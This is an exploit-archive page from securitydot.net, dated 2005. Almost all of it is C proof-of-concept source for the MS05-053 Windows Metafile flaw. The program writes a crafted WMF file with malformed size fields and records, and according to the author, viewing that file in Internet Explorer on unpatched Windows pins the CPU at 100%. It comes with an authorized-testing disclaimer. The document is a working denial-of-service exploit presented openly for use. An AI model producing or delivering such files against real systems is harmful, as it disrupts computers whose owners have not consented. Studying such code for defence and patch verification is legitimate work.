exploits , vulnerabilities , articles , Microsoft Windows Metafile (WMF) Images Handling Remote Exploit (MS05-053)

Rated as : Critical 
Note : Proof of concept exploit (DoS)

/*
* Author: Winny Thomas
* Pune, INDIA
*
* The crafted metafile from this code when viewed in internet explorer
raises the CPU
* utilization to 100%. The code was tested on Windows 2000 server SP4. The
issue does
* not occur with the hotfix for GDI (MS05-053) installed
*
* Disclaimer: This code is for educational/testing purposes by authosized
persons on 
* networks/systems setup for such a purpose.The author of this code shall
not bear 
* any responsibility for any damage caused by using this code.
*
*/

#include <stdio.h>

unsigned char wmfheader[] = 
"\xd7\xcd\xc6\x9a\x00\x00\xc6\xfb\xca\x02\xaa\x02\x39\x09\xe8\x03"
"\x00\x00\x00\x00\x66\xa6"
"\x01\x00"
"\x09\x00"
"\x00\x03"
"\xff\xff\xff\xff" //Metafile file size
"\x04\x00"
"\xff\xff\xff\xff" //Largest record size
"\x00\x00";

unsigned char MetafileRECORD[] = 
"\x05\x00\x00\x00\x0b\x02\x39\x09\xc6\xfb\x08\x00\x00\x00\xfa\x02"
"\x05\x00\x00\x00\x00\x00\xff\xff\xff\x00\x04\x00\x00\x00\x2d\x01"
"\x01\x00\x04\x00\x00\x00\x06\x01\x01\x00\x04\x00\x00\x00\x2d\x01"
"\x02\x00\x07\x00\x00\x00\xfc\x02\x00\x00\xff\xff\xff\x00\x00\x00"
"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\x2d\x01\x02\x00"
"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\xf0\x01\x00\x00"
"\x07\x00\x00\x00\xfc\x02\x00\x00\xfa\x94\x93\x00\x00\x00\x04\x00"
"\x00\x00\x2d\x01\x00\x00\x04\x00\x00\x00\x2d\x01\x01\x00\x04\x00"
"\x00\x00\x06\x01\x01\x00\x14\x00\x00\x00\x24\x03\x08\x00\xc6\xfb"
"\x9b\x03\xbc\xfe\x9b\x03\x0f\x01\x1a\x07\xa5\x02\x1a\x07\xf4\x00"
"\x39\x09\xd5\xfc\x36\x07\x86\xfe\x36\x07\xc6\xfb\x9b\x03";

unsigned char wmfeof[] = 
"\x00\x00\x00\x00";

int main(int argc, char *argv[])
{
FILE *fp;
char wmfbuf[1024];
int metafilesize, metafilesizeW, i, j;

metafilesize = sizeof (wmfheader) + sizeof (MetafileRECORD) +
sizeof(wmfeof) -3;
metafilesizeW = metafilesize/2;
memcpy((unsigned long *)&wmfheader[28], &metafilesizeW, 4);

printf("[*] Adding Metafile header\n");
for (i = 0; i < sizeof(wmfheader) -1; i++) {
(unsigned char)wmfbuf[i] = (unsigned char)wmfheader[i];
}

printf("[*] Adding Metafile records\n");
for (j = i, i = 0; i < sizeof(MetafileRECORD) -1; i++, j++) {
wmfbuf[j] = MetafileRECORD[i];
}

printf("[*] Adding EOF record\n");
for (i = 0; i < sizeof(wmfeof) -1; i++, j++) {
wmfbuf[j] = wmfeof[i];
}

printf("[*] Creating Metafile (MS053.wmf)\n");
fp = fopen("MS053.wmf", "wb");
fwrite(wmfbuf, 1, metafilesize, fp);
fclose(fp);
}
securitydot.net - 2005-11-29